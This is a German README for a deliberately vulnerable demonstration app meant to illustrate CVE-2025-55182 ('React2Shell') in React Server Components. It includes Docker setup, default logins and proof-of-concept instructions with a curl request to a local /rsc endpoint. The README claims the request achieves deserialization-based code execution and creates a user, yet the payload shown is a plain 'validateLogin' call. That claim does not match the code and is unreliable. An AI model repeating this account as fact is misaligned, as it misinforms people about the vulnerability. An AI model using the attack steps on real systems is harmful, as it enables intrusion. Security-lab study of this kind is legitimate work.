React CVE-2025-55182 Schwachstellen-Demonstrationsprojekt
⚠️ SICHERHEITSWARNUNG
Dieses Projekt demonstriert eine kritische RCE-Schwachstelle (CVE-2025-55182 / React2Shell) in React Server Components 19.1.1.
- NUR ZU BILDUNGS- UND SICHERHEITSFORSCHUNGSZWECKEN
- NIEMALS in der Produktion oder in nicht vertrauenswürdigen Netzwerken einsetzen
- Nur in isolierten, kontrollierten Umgebungen ausführen
- Stellen Sie sicher, dass Sie vor dem Testen die entsprechende Autorisierung haben
Überblick
Dieses Projekt demonstriert CVE-2025-55182 (React2Shell), eine kritische Remote Code Execution (RCE)-Schwachstelle in React Server Components 19.1.1. Die Anwendung umfasst:
- Eine einseitige Website mit Benutzername/Passwort-Authentifizierung
- React Server Components (RSC)-Implementierung
- RSC Flight-Protokoll-Endpunkt (anfällig)
- Docker-Bereitstellungskonfiguration
- POC-Exploit-Payload, der die Schwachstelle demonstriert
Projektstruktur
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
Voraussetzungen
- Node.js 18+
- Docker und Docker Compose (optional, für containerisierte Bereitstellung)
- npm oder yarn
Installation
Lokale Entwicklung
- Klonen oder laden Sie dieses Repository herunter
- Installieren Sie die Abhängigkeiten:
- Starten Sie den Server:
- Greifen Sie unter http://localhost:3000 auf die Anwendung zu
Docker-Bereitstellung
-
Mit Docker Compose bauen und starten:
docker-compose up --build
Oder manuell bauen und starten:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
-
Greifen Sie unter http://localhost:3000 auf die Anwendung zu
Verwendungsablauf
Normaler Authentifizierungsablauf
- Zugriff auf die Anwendung: Navigieren Sie zu http://localhost:3000
- Login-Seite: Sie sehen ein Anmeldeformular
- Standard-Anmeldedaten:
- Benutzername:
admin, Passwort: securepassword123
- Benutzername:
user1, Passwort: password123
- Erfolgreicher Login: Sie werden zum geschützten Dashboard weitergeleitet
- Abmelden: Klicken Sie auf die Abmelde-Schaltfläche, um zur Login-Seite zurückzukehren
Schwachstellendemonstration
Die Schwachstelle besteht im Deserialisierungsmechanismus des RSC Flight-Protokolls. Der Exploit:
- Baut eine schädliche serialisierte Nutzlast, die auf Server Function-Endpunkte abzielt
- Nutzt unsichere Deserialisierung aus, um beliebigen JavaScript-Code auszuführen
- Erstellt einen neuen Benutzereintrag in der JSON-Datei
- Umgeht die Authentifizierung mit den neuen Anmeldedaten
Ausführen des POC-Exploits
Option 1: Node.js-Skript
Oder mit einer benutzerdefinierten Ziel-URL:
TARGET_URL=http://localhost:3000 node exploit/poc.js
Option 2: Bash-Skript
Oder mit einer benutzerdefinierten Ziel-URL:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
Option 3: Manueller curl-Befehl
Einzeiler-Version:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Mehrzeilige Version (bessere Lesbarkeit):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Hinweis: Ein kopierfertiger Einzeiler-Befehl ist auch in exploit/curl-oneline.txt verfügbar
Nach der Ausnutzung
Nach Ausführung des Exploits:
- Der Exploit erstellt einen neuen Benutzer in
data/users.json
- Sie können sich nun mit den neu erstellten Anmeldedaten anmelden:
- Benutzername:
hacker
- Passwort:
hacked123
- Dies zeigt, wie die Schwachstelle die Authentifizierung umgehen kann
Technische Details
Schwachstelle (CVE-2025-55182)
Die Schwachstelle existiert in React Server Components 19.1.1, speziell in:
- Komponente:
react-server-dom-webpack
- Version: 19.1.1 (anfällig)
- Problem: Unsichere Deserialisierung im RSC Flight-Protokoll
- Auswirkung: Remote Code Execution (RCE)
- CVSS: Kritisch
Serverimplementierung
Der Server (server.js) implementiert:
- Express.js HTTP-Server
- RSC Flight-Protokoll-Endpunkt (
/rsc)
- Ausführung von Serverfunktionen (anfälliger Endpunkt)
- Sitzungsverwaltung
- Statische Dateibereitstellung
Authentifizierungssystem
- Login-Komponente: Clientseitiges Formular für Benutzername/Passwort
- Auth Server-Komponente: Serverseitige Authentifizierungslogik
- Benutzerspeicher: JSON-Datei (
data/users.json) zur Speicherung von Anmeldedaten
- Geschützte Routen: Dashboard erfordert Authentifizierung
RSC Flight-Protokoll
Der RSC Flight-Protokoll-Endpunkt akzeptiert:
action: "callServerFunction": Serverfunktionen ausführen
action: "renderRSC": React Server Components rendern
Die Schwachstelle besteht in der Art und Weise, wie Serverfunktionsaufrufe deserialisiert und ausgeführt werden.
Sicherheitshinweise
⚠️ Kritische Warnungen
- Isolierte Umgebung: Nur in kontrollierten, isolierten Umgebungen ausführen
- Keine Produktionsnutzung: Verwundbaren Code niemals in der Produktion einsetzen
- Netzwerkisolation: Nicht für nicht vertrauenswürdige Netzwerke freigeben
- Bildungszweck: Nur für Sicherheitsforschung und Bildung
- Rechtliche Compliance: Stellen Sie sicher, dass Sie vor dem Testen die entsprechende Autorisierung haben
Bewährte Praktiken
- Verwenden Sie eine dedizierte VM oder einen Container zum Testen
- Deaktivieren Sie den Netzwerkzugriff außer für localhost
- Speichern Sie keine sensiblen Daten in der Testumgebung
- Bereinigen Sie Testdaten nach der Demonstration
- Befolgen Sie die Praktiken der verantwortungsvollen Offenlegung
Abhängigkeiten
- React: 19.1.1 (anfällige Version)
- react-server-dom-webpack: 19.1.1 (anfälliges Paket)
- Express.js: ^4.18.2
- express-session: ^1.17.3
- Node.js: 18+
Fehlerbehebung
Server startet nicht
- Überprüfen Sie, ob Port 3000 bereits verwendet wird
- Stellen Sie sicher, dass die Node.js-Version 18 oder höher ist
- Vergewissern Sie sich, dass alle Abhängigkeiten installiert sind (
npm install)
Exploit funktioniert nicht
- Überprüfen Sie, ob der Server läuft
- Stellen Sie sicher, dass der RSC-Endpunkt erreichbar ist
- Überprüfen Sie die Server-Logs auf Fehler
- Vergewissern Sie sich, dass das Exploit-Skript die entsprechenden Berechtigungen hat
Docker-Probleme
- Stellen Sie sicher, dass Docker läuft
- Überprüfen Sie die Docker Compose-Versionskompatibilität
- Vergewissern Sie sich, dass Port 3000 verfügbar ist
- Überprüfen Sie die Docker-Logs:
docker-compose logs
Referenzen
- CVE-2025-55182: React2Shell-Schwachstelle
- React Server Components-Dokumentation
- RSC Flight-Protokollspezifikation
Lizenz
MIT-Lizenz – Nur zu Bildungszwecken
Haftungsausschluss
Diese Software wird nur zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt. Die Autoren und Mitwirkenden übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden. Nutzung auf eigene Gefahr und unter Einhaltung aller geltenden Gesetze und Vorschriften.